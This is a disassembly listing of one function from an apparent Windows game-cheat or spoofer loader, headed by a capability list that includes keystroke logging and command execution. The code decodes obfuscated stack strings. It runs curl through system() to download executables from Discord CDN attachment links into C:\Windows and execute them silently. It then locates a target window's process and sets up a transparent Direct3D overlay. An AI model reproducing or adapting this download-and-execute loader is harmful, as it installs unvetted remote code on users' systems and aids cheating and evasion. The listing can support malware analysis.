Function at 0x1400732a0
Capabilities:
Authenticate hmac
Contain obfuscated stackstrings
Encode data using base64
Encode data using xor
Execute command
Log keystrokes via polling
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rax - 0x6b8]
sub rsp, 0x790
movaps xmmword [rax - 0x38], xmm6
movaps xmmword [rax - 0x48], xmm7
movaps xmmword [rax - 0x58], xmm8
movaps xmmword [rax - 0x68], xmm9
movaps xmmword [rax - 0x78], xmm10
movaps xmmword [rax - 0x88], xmm11
movaps xmmword [rax - 0x98], xmm12
movaps xmmword [rax - 0xa8], xmm13
movaps xmmword [rax - 0xb8], xmm14
movaps xmmword [rax - 0xc8], xmm15
mov rax, qword [0x1400e7080]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
mov byte [rbp + 0x260], 0x5a
mov byte [rbp + 0x261], 0x78
mov byte [rbp + 0x262], 5
mov byte [rbp + 0x263], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x264], gethostname
mov byte [rbp + 0x265], 0x40
mov byte [rbp + 0x266], Ordinal_45
mov byte [rbp + 0x267], 0
mov byte [rbp + 0x268], 9
mov byte [rbp + 0x269], 6
mov byte [rbp + 0x26a], 2
mov byte [rbp + 0x26b], 1
mov byte [rbp + 0x26c], 9
mov byte [rbp + 0x26d], Ordinal_79
mov byte [rbp + 0x26e], 0x41
mov byte [rbp + 0x26f], 0x45
mov byte [rbp + 0x270], Ordinal_79
mov byte [rbp + 0x271], 0x48
mov byte [rbp + 0x272], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x273], 9
mov byte [rbp + 0x274], reloc.WS2_32.dll_listen
mov byte [rbp + 0x275], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x276], 9
mov byte [rbp + 0x277], 0x5f
mov byte [rbp + 0x278], Ordinal_79
mov byte [rbp + 0x279], 0x42
mov byte [rbp + 0x27a], 0x5b
mov byte [rbp + 0x27b], recv
mov byte [rbp + 0x27c], reloc.WLDAP32.dll_Ordinal_27
mov byte [rbp + 0x27d], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x27e], recv
mov byte [rbp + 0x27f], 0x5b
mov byte [rbp + 0x280], 2
mov byte [rbp + 0x281], Ordinal_33
mov byte [rbp + 0x282], reloc.WS2_32.dll_recvfrom
mov byte [rbp + 0x283], reloc.WS2_32.dll_ntohs
mov byte [rbp + 0x284], 0xec
mov byte [rbp + 0x285], 0xee
mov byte [rbp + 0x286], 0xab
mov byte [rbp + 0x287], 0xe3
mov byte [rbp + 0x288], 0xe7
mov byte [rbp + 0x289], 0xe3
mov byte [rbp + 0x28a], 0xef
mov byte [rbp + 0x28b], 0xea
mov byte [rbp + 0x28c], 0xfc
mov byte [rbp + 0x28d], 0xa4
mov byte [rbp + 0x28e], 0xaf
mov byte [rbp + 0x28f], 0xa3
mov byte [rbp + 0x290], 0xc9
mov byte [rbp + 0x291], 0xee
mov byte [rbp + 0x292], 0xae
mov byte [rbp + 0x293], 0xfa
mov byte [rbp + 0x294], 0xb9
mov byte [rbp + 0x295], 0xf4
mov byte [rbp + 0x296], 0xf2
mov byte [rbp + 0x297], 0xfb
mov byte [rbp + 0x298], 0xb8
mov byte [rbp + 0x299], 0xf3
mov byte [rbp + 0x29a], 0xf7
mov byte [rbp + 0x29b], 0xed
mov byte [rbp + 0x29c], 0xfb
mov byte [rbp + 0x29d], 0xf4
mov byte [rbp + 0x29e], 0xfb
mov byte [rbp + 0x29f], 0xe2
mov byte [rbp + 0x2a0], 0xb0
mov byte [rbp + 0x2a1], 0xec
mov byte [rbp + 0x2a2], 0xf6
mov byte [rbp + 0x2a3], 0xfa
mov byte [rbp + 0x2a4], Ordinal_200
mov byte [rbp + 0x2a5], 0x80
mov byte [rbp + 0x2a6], 0xde
mov byte [rbp + 0x2a7], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x2a8], 0xcc
mov byte [rbp + 0x2a9], Ordinal_211
mov byte [rbp + 0x2aa], Ordinal_200
mov byte [rbp + 0x2ab], 0x88
mov byte [rbp + 0x2ac], 0xda
mov byte [rbp + 0x2ad], 0x85
mov byte [rbp + 0x2ae], Ordinal_200
mov byte [rbp + 0x2af], 0xca
mov byte [rbp + 0x2b0], Ordinal_217
mov byte [rbp + 0x2b1], Ordinal_211
mov byte [rbp + 0x2b2], Ordinal_143
mov byte [rbp + 0x2b3], 0xdb
mov byte [rbp + 0x2b4], Ordinal_217
mov byte [rbp + 0x2b5], 0x9e
mov byte [rbp + 0x2b6], __WSAFDIsSet
mov byte [rbp + 0x2b7], 0x9f
mov byte [rbp + 0x2b8], 0xb8
movzx eax, byte [rbp + 0x260]
xor edi, edi
mov r9d, edi
movabs r11, 0x5c68d7cc919005c
mov r10, r11
lea rax, [rbp + 0x260]
sub r10, rax
lea r15d, [rdi + 0xf]
nop dword [rax]
lea rdx, [rbp + 0x260]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rax, r11
shr rax, cl
and al, r15b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x260], al
inc r9
cmp r9, 0x59
jb 0x1400735b0
lea rcx, [rbp + 0x260]
call fcn.140017e10
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1197994488270958643_1198040533600305313_Driver_Guard.exe__o_C:Windows_spoof.exe___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_spoof.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x1a8], Ordinal_60
mov byte [rbp + 0x1a9], Ordinal_33
mov byte [rbp + 0x1aa], reloc.WS2_32.dll_socket
mov byte [rbp + 0x1ab], Ordinal_41
mov byte [rbp + 0x1ac], reloc.WS2_32.dll_setsockopt
mov byte [rbp + 0x1ad], WSASetLastError
mov byte [rbp + 0x1ae], 1
mov byte [rbp + 0x1af], Ordinal_45
mov byte [rbp + 0x1b0], reloc.WLDAP32.dll_Ordinal_41
mov byte [rbp + 0x1b1], Ordinal_45
mov byte [rbp + 0x1b2], Ordinal_45
mov byte [rbp + 0x1b3], Ordinal_35
mov byte [rbp + 0x1b4], Ordinal_45
mov byte [rbp + 0x1b5], 0x61
mov byte [rbp + 0x1b6], 0x60
mov byte [rbp + 0x1b7], WSASetLastError
mov byte [rbp + 0x1b8], Ordinal_79
mov byte [rbp + 0x1b9], Ordinal_79
movzx eax, byte [rbp + 0x1a8]
mov r9, rdi
movabs rbx, 0x8247598e098acc3e
mov r10, rbx
lea rax, [rbp + 0x1a8]
sub r10, rax
nop dword [rax]
lea rdx, [rbp + 0x1a8]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, r15b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x1a8], al
inc r9
cmp r9, 0x12
jb 0x1400736c0
lea rdx, [rbp + 0x1a8]
mov rcx, r11
call fcn.1400634b0
lea rcx, str.curl_https:__cdn.discordapp.com_attachments_1183150494705795082_1198028388347154543_spoofer.vmp.exe__o_C:Windows_spoofer.exe___silent
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, str.C:Windows_spoofer.exe
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140323c88]
call fcn.1400624c0
test al, al
jne 0x140073750
lea rcx, str.load_the_driver_n
call fcn.140017e10
mov ecx, 0xdac
call qword [sym.imp.KERNEL32.dll_Sleep]
mov r11, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov byte [rbp + 0x238], reloc.WLDAP32.dll_Ordinal_26
mov byte [rbp + 0x239], Ordinal_60
mov byte [rbp + 0x23a], 0x46
mov byte [rbp + 0x23b], 0x76
mov byte [rbp + 0x23c], 0x44
mov byte [rbp + 0x23d], reloc.WLDAP32.dll_Ordinal_50
mov byte [rbp + 0x23e], Ordinal_79
mov byte [rbp + 0x23f], 0x7f
mov byte [rbp + 0x240], Ordinal_79
mov byte [rbp + 0x241], 0x5f
mov byte [rbp + 0x242], 0x41
mov byte [rbp + 0x243], 0x47
mov byte [rbp + 0x244], 0x41
mov byte [rbp + 0x245], 4
mov byte [rbp + 0x246], WSASetLastError
mov byte [rbp + 0x247], Ordinal_79
mov byte [rbp + 0x248], 0x52
mov byte [rbp + 0x249], 8
mov byte [rbp + 0x24a], WSASetLastError
mov byte [rbp + 0x24b], 0x40
mov byte [rbp + 0x24c], 0x5b
mov byte [rbp + 0x24d], 0x56
mov byte [rbp + 0x24e], 0x40
mov byte [rbp + 0x24f], 0x47
mov byte [rbp + 0x250], 0x40
mov byte [rbp + 0x251], 0x5e
mov byte [rbp + 0x252], reloc.WLDAP32.dll_Ordinal_22
mov byte [rbp + 0x253], reloc.WS2_32.dll_socket
mov byte [rbp + 0x254], Ordinal_26
mov byte [rbp + 0x255], 0x3e
mov byte [rbp + 0x256], Ordinal_60
movzx eax, byte [rbp + 0x238]
mov r9, rdi
movabs rbx, 0x2c12aaa410f54718
mov r10, rbx
lea rax, [rbp + 0x238]
sub r10, rax
lea rdx, [rbp + 0x238]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rax, rbx
shr rax, cl
and al, r15b
add dl, r10b
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x238], al
inc r9
cmp r9, 0x1f
jb 0x140073851
lea rdx, [rbp + 0x238]
mov rcx, r11
call fcn.1400634b0
cmp qword [0x140323468], rdi
jne 0x14007399d
movabs rsi, 0xc22988c93c032fe0
mov rbx, rsi
lea rax, [rbp + 0x90]
sub rbx, rax
nop dword [rax]
nop dword [rax + rax]
mov byte [rbp + 0x90], 0xa6
mov byte [rbp + 0x91], 0x80
mov byte [rbp + 0x92], 0x9f
mov byte [rbp + 0x93], __WSAFDIsSet
mov byte [rbp + 0x94], Ordinal_143
mov byte [rbp + 0x95], Ordinal_143
mov byte [rbp + 0x96], 0x9e
mov byte [rbp + 0x97], 0x81
mov byte [rbp + 0x98], 0xc1
mov byte [rbp + 0x99], Ordinal_200
mov byte [rbp + 0x9a], 0xe2
movzx eax, byte [rbp + 0x90]
mov r9, rdi
nop word [rax + rax]
lea rdx, [rbp + 0x90]
add rdx, r9
movsx r8, byte [rdx]
mov rcx, r9
and ecx, r15d
cmp rcx, r15
cmovae rcx, r15
shl cl, 2
mov rax, rsi
shr rax, cl
and al, r15b
add dl, bl
xor al, dl
xor al, r8b
mov byte [rbp + r9 + 0x90], al
inc r9
cmp r9, 0xb
jb 0x140073930
lea rdx, [rbp + 0x90]
xor ecx, ecx
call qword [sym.imp.USER32.dll_FindWindowA]
mov qword [0x140323468], rax
mov ecx, 0x64
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp qword [0x140323468], rdi
je 0x1400738d0
movups xmm1, xmmword [0x1400d9da0]
movups xmm0, xmmword [str.qWKNUUI____0h]
movups xmmword [rbp + 0x360], xmm1
movups xmmword [rbp + 0x350], xmm0
mov eax, dword [0x1400d9dd0]
movups xmm1, xmmword [0x1400d9dc0]
movups xmm0, xmmword [0x1400d9db0]
mov dword [rbp + 0x390], eax
movups xmmword [rbp + 0x380], xmm1
movups xmmword [rbp + 0x370], xmm0
mov r8d, edi
cmp dword [reloc.WS2_32.dll_accept], 2
jl 0x140073b0f
movdqa xmm5, xmmword [0x1400da150]
movdqa xmm4, xmmword [0x1400da2f0]
movdqa xmm6, xmmword [str.66669999]
movdqa xmm7, xmmword [0x1400da1c0]
lea rcx, [rbp + 0x350]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx]
xorps xmm3, xmm0
movq qword [rcx], xmm3
lea eax, [r8 + 4]
movd xmm2, eax
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm3, xmm1, 0xd8
movq xmm2, xmm7
paddw xmm3, xmm2
movq xmm0, qword [rcx + 8]
xorps xmm3, xmm0
movq qword [rcx + 8], xmm3
add r8d, 8
lea rcx, [rcx + 0x10]
cmp r8d, 0x20
jl 0x140073a20
cmp r8d, 0x22
jge 0x140073b54
movsxd rax, r8d
lea r9, [rbp + 0x350]
lea r9, [r9 + rax*2]
nop dword [rax]
mov eax, 0x4bda12f7
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movzx eax, dx
imul ecx, eax, 0x36
movzx eax, r8w
sub ax, cx
add ax, 0x37
xor word [r9], ax
inc r8d
lea r9, [r9 + 2]
cmp r8d, 0x22
jl 0x140073b20
lea rcx, [rbp + 0x350]
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov dword [0x140323c94], eax
mov dword [0x140323c88], eax
mov edx, eax
lea rcx, [0x140323c88]
call fcn.140062720
call fcn.140072ed0
call fcn.1400649b0
xor ecx, ecx
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rcx, qword [0x140323628]
mov dword [rcx + 0xc], eax
mov ecx, 1
call qword [sym.imp.USER32.dll_GetSystemMetrics]
mov rcx, qword [0x140323628]
mov dword [rcx + 0x10], eax
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x518], xmm0
mov qword [rbp + 0x528], rax
lea rdx, [rbp + 0x6b8]
lea rcx, [rbp + 0x518]
call fcn.1400639c0
nop
mov rcx, qword [0x140323460]
test rcx, rcx
jne 0x140073c03
nop
call fcn.140071430
mov qword [0x140323460], rax
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rcx, qword [0x140323460]
test rcx, rcx
je 0x140073be0
movdqa xmm0, xmmword [0x1400da0e0]
movdqu xmmword [rbp + 0x5b8], xmm0
lea rdx, [rbp + 0x5b8]
call qword [sym.imp.dwmapi.dll_DwmExtendFrameIntoClientArea]
xor edx, edx
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_SetMenu]
mov edx, 0xfffffff0
mov r8d, 0x10000000
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov edx, 0xffffffec
mov r8d, 0x80020
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_SetWindowLongPtrA]
mov edx, 5
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_ShowWindow]
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_UpdateWindow]
mov edx, 0xffffffec
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_GetWindowLongA]
or eax, 0x80020
mov r8d, eax
mov edx, 0xffffffec
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_SetWindowLongA]
nop
mov rcx, qword [rbp + 0x518]
xor rcx, qword [rbp + 0x520]
mov qword [rbp + 0x518], rcx
mov rax, qword [rbp + 0x528]
mov qword [rax], rcx
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x490], xmm0
mov qword [rbp + 0x4a0], rax
lea rdx, [rbp + 0x6b8]
lea rcx, [rbp + 0x490]
call fcn.1400639c0
nop
mov qword [rbp + 0x418], 1
mov qword [rbp + 0x430], rdi
mov qword [rbp + 0x428], 1
mov qword [rbp + 0x400], Ordinal_33
mov dword [rbp + 0x408], edi
mov dword [rbp + 0x3f8], reloc.WLDAP32.dll_Ordinal_60
mov dword [rbp + 0x3fc], 1
mov qword [rbp + 0x3f0], rdi
mov dword [rbp + 0x414], reloc.WLDAP32.dll_Ordinal_32
mov rax, qword [0x140323460]
mov qword [rbp + 0x420], rax
mov qword [rbp + 0x40c], 8
mov dword [rbp + 0x5d8], 0xb000
mov dword [rbp + 0x5dc], 0xa000
lea rax, [0x140323430]
mov qword [rsp + 0x58], rax
lea rax, [rbp + 0x548]
mov qword [rsp + 0x50], rax
lea rax, [0x140323440]
mov qword [rsp + 0x48], rax
lea rax, [0x140323448]
mov qword [rsp + 0x40], rax
lea rax, [rbp + 0x3f0]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 7
mov dword [rsp + 0x28], 2
lea rax, [rbp + 0x5d8]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 1]
xor ecx, ecx
call qword [sym.imp.d3d11.dll_D3D11CreateDeviceAndSwapChain]
movabs rsi, 0xc8d4c481098a496
test eax, eax
jne 0x140073ff0
mov qword [rsp + 0x30], 2
mov qword [rsp + 0x28], reloc.WS2_32.dll_sendto
mov qword [rsp + 0x20], reloc.WS2_32.dll_recv
mov edx, 0x37c8
lea r9d, [rax + 8]
mov r8d, 0x448
lea rcx, str.1.89.6_WIP
call fcn.14002a330
xor ecx, ecx
call fcn.14001c130
mov r11, qword [0x140323380]
or dword [r11 + 0x47d0], 2
movsd xmm0, qword [r11 + 0x10]
movsd qword [r11 + 0x47f0], xmm0
mov dword [r11 + 0x47d8], 1
mov qword [r11 + 0x20], rdi
mov byte [rbp + 0x100], reloc.WLDAP32.dll_Ordinal_211
mov byte [rbp + 0x101], 0xa4
mov byte [rbp + 0x102], 0xc0
mov byte [rbp + 0x103], 0xf5
mov byte [rbp + 0x104], 0xfd
mov byte [rbp + 0x105], 0xe0
mov byte [rbp + 0x106], 0xe8
mov byte [rbp + 0x107], 0xf2
mov byte [rbp + 0x108], 0xff
mov byte [rbp + 0x109], 0xef
mov byte [rbp + 0x10a], 0xc9
mov byte [rbp + 0x10b], Ordinal_143
mov byte [rbp + 0x10c], 0xc0
mov byte [rbp + 0x10d], 0xdf
mov byte [rbp + 0x10e], Ordinal_211
mov byte [rbp + 0x10f], 0xa5
movzx eax, byte [rbp + 0x100]
mov r10, rdi
mov rbx, rsi
lea rax, [rbp + 0x100]
sub rbx, rax
nop
lea r8, [rbp + 0x100]
add r8, r10
movsx r9, byte [r8]
mov rcx, r10
and ecx, 0xf
cmp rcx, 0xf
cmovae rcx, r15
shl cl, 2
mov rdx, rsi
shr rdx, cl
and dl, 0xf
lea eax, [r8 + rbx]
xor dl, al
xor dl, r9b
mov byte [rbp + r10 + 0x100], dl
inc r10
cmp r10, 0x10
jb 0x140073ee0
lea rax, [rbp + 0x100]
mov qword [0x140323438], rax
lea rax, [0x1400d8d24]
mov qword [rsp + 0x20], rax
xor r9d, r9d
movss xmm2, dword [0x1400d9f90]
lea rdx, [rbp + 0x100]
mov rcx, qword [r11 + 0x58]
call fcn.140042770
mov rcx, qword [0x140323448]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [rbp + 0x3e0]
lea r8, [0x1400d9de0]
xor edx, edx
call r10
mov rcx, qword [0x140323440]
mov rax, qword [rcx]
mov r10, qword [rax + 0x48]
lea r9, [0x140323450]
xor r8d, r8d
mov rdx, qword [rbp + 0x3e0]
call r10
xor edx, edx
mov rcx, qword [0x140323460]
call fcn.140063ca0
mov rdx, qword [0x140323430]
mov rcx, qword [0x140323440]
call fcn.1400490b0
mov rcx, qword [rbp + 0x3e0]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov dword [rsp + 0x30], 3
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
xor r9d, r9d
xor r8d, r8d
lea rdx, [r9 - 1]
mov rcx, qword [0x140323460]
call qword [sym.imp.USER32.dll_SetWindowPos]
nop
mov rcx, qword [rbp + 0x490]
xor rcx, qword [rbp + 0x498]
mov qword [rbp + 0x490], rcx
mov rax, qword [rbp + 0x4a0]
mov qword [rax], rcx
mov r14, qword [0x140323920]
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x530], xmm0
mov qword [rbp + 0x540], rax
lea rdx, [rbp + 0x6b8]
lea rcx, [rbp + 0x530]
call fcn.1400639c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x588], xmm0
movups xmmword [rbp + 0x598], xmm0
movups xmmword [rbp + 0x5a8], xmm0
lea rsi, [rbp + 0x6b8]
movabs r12, 0x27dc210d7639943c
movabs r13, 0xa3aa1c6fb1285a0e
movss xmm12, dword [0x1400da018]
movss xmm15, dword [0x1400d9f8c]
xorps xmm10, xmm10
movss xmm7, dword [0x1400d9ef8]
movss xmm8, dword [0x1400da044]
movss xmm6, dword [0x1400d9e68]
movss xmm9, dword [0x1400d9fcc]
movss xmm13, dword [0x1400da01c]
movss xmm11, dword [0x1400da0a0]
movss xmm14, dword [0x1400da010]
nop dword [rax]
nop word [rax + rax]
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x140323460]
lea rcx, [rbp + 0x588]
call qword [sym.imp.USER32.dll_PeekMessageA]
test eax, eax
je 0x140074110
lea rcx, [rbp + 0x588]
call qword [sym.imp.USER32.dll_TranslateMessage]
lea rcx, [rbp + 0x588]
call qword [sym.imp.USER32.dll_DispatchMessageA]
mov rbx, qword [0x140323380]
lea rcx, [rbp + 0x4a8]
call qword [sym.imp.USER32.dll_GetCursorPos]
movd xmm0, dword [rbp + 0x4a8]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xe08], xmm0
movd xmm0, dword [rbp + 0x4ac]
cvtdq2ps xmm0, xmm0
movss dword [rbx + 0xe0c], xmm0
mov ecx, 1
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test ax, ax
je 0x140074176
mov byte [rbx + 0xe10], 1
mov byte [rbx + 0x3748], 1
mov eax, dword [rbx + 0xe0c]
mov dword [rbx + 0x36f8], eax
jmp 0x14007417d
mov byte [rbx + 0xe10], 0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x500], xmm0
mov qword [rbp + 0x510], rax
mov rdx, rsi
lea rcx, [rbp + 0x500]
call fcn.1400639c0
nop
xorps xmm0, xmm0
movups xmmword [rbp + 0x3a0], xmm0
movups xmmword [rbp + 0x3b0], xmm0
movups xmmword [rbp + 0x3c0], xmm0
movups xmmword [rbp + 0x3d0], xmm0
mov rax, qword [0x140323380]
mov byte [rax + 0x78], 0
call fcn.1400492c0
call fcn.140064530
call fcn.14001e600
mov ecx, reloc.WLDAP32.dll_Ordinal_45
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rcx, qword [0x140323628]
test al, 1
je 0x1400741f9
cmp byte [rcx + 0x14], 0
sete al
mov byte [rcx + 0x14], al
cmp byte [rcx + 0x14], 0
je 0x140076bb9
cmp byte [0x140323379], 1
je 0x140074213
mov cl, 1
call fcn.1400722c0
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4e8], xmm0
mov qword [rbp + 0x4f8], rax
mov rdx, rsi
lea rcx, [rbp + 0x4e8]
call fcn.1400639c0
nop
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x4d0], xmm0
mov qword [rbp + 0x4e0], rax
mov rdx, rsi
lea rcx, [rbp + 0x4d0]
call fcn.1400639c0
nop
lea rcx, [rbp + 0x550]
call fcn.1400713e0
mov dword [0x140323458], 0x30120
cmp qword [0x140323420], 0
jne 0x1400742b0
mov qword [rsp + 0x30], rdi
lea rax, [0x140323420]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0x2385a0
lea rdx, [0x1400e86f0]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140323408], 0
jne 0x1400742f1
mov qword [rsp + 0x30], rdi
lea rax, [0x140323408]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0x249
lea rdx, [0x140320c90]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140323410], 0
jne 0x140074332
mov qword [rsp + 0x30], rdi
lea rax, [0x140323410]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0x1e8
lea rdx, [0x140321120]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140323428], 0
jne 0x140074373
mov qword [rsp + 0x30], rdi
lea rax, [0x140323428]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0x1f7
lea rdx, [0x1400e7100]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140323480], 0
jne 0x1400743b4
mov qword [rsp + 0x30], rdi
lea rax, [0x140323480]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0x100
lea rdx, [0x1403222d0]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140323478], 0
jne 0x1400743f5
mov qword [rsp + 0x30], rdi
lea rax, [0x140323478]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0x243
lea rdx, [0x1400e7300]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x1403233f8], 0
jne 0x140074436
mov qword [rsp + 0x30], rdi
lea rax, [0x1403233f8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0x23f
lea rdx, [0x140320ee0]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140323418], 0
jne 0x140074477
mov qword [rsp + 0x30], rdi
lea rax, [0x140323418]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0xfbe
lea rdx, [0x140321310]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
cmp qword [0x140323400], 0
jne 0x1400744b9
mov qword [rsp + 0x30], rdi
lea rax, [0x140323400]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rbp + 0x550]
mov r8d, 0x1192
lea rdx, [0x1400e7550]
mov rcx, qword [0x140323440]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
nop
mov rcx, qword [rbp + 0x4d0]
xor rcx, qword [rbp + 0x4d8]
mov qword [rbp + 0x4d0], rcx
mov rax, qword [rbp + 0x4e0]
mov qword [rax], rcx
mov rax, qword [0x140323628]
cmp byte [rax + 0x14], 0
je 0x140076b8d
mov rsi, qword [0x140323380]
mov qword [rsi + 0x37d8], rdi
mov dword [rsi + 0x37e4], edi
mov dword [rsi + 0x381c], 0x41a00000
mov dword [rsi + 0x3820], 0x41a00000
mov dword [rsi + 0x3844], 0x41000000
or dword [rsi + 0x47d0], 2
mov dword [rsi + 0x47f0], 0x44548000
mov dword [rsi + 0x47f4], 0x43fa0000
mov dword [rsi + 0x47d8], 1
xor edx, edx
mov r8d, 0x30ab
lea rcx, [0x1400cad0e]
call fcn.1400246f0
mov rax, qword [0x140323380]
mov rcx, qword [rax + 0x3ef8]
movsd xmm0, qword [rcx + 0x20]
movsd qword [rbp + 0x448], xmm0
lea rcx, [rbp + 0x440]
call fcn.14002aa00
call fcn.14001de70
mov rbx, rax
mov rcx, qword [0x140323380]
movss xmm0, dword [0x140323b60]
movss dword [rbp + 0x4b0], xmm0
movss xmm1, dword [0x140323b64]
movss dword [rbp + 0x4b4], xmm1
movss xmm0, dword [0x140323b68]
movss dword [rbp + 0x4b8], xmm0
movss xmm1, dword [0x140323b6c]
mulss xmm1, dword [rcx + 0x37d0]
movss dword [rbp + 0x4bc], xmm1
lea rcx, [rbp + 0x4b0]
call fcn.14001a080
movss xmm1, dword [rbp + 0x44c]
addss xmm1, dword [rbp + 0x444]
movss xmm0, dword [rbp + 0x448]
addss xmm0, dword [rbp + 0x440]
movss dword [rbp + 0x2e0], xmm0
movss dword [rbp + 0x2e4], xmm1
mov dword [rsp + 0x28], edi
movss xmm0, dword [0x1400d9f70]
movss dword [rsp + 0x20], xmm0
mov r9d, eax
lea r8, [rbp + 0x2e0]
lea rdx, [rbp + 0x448]
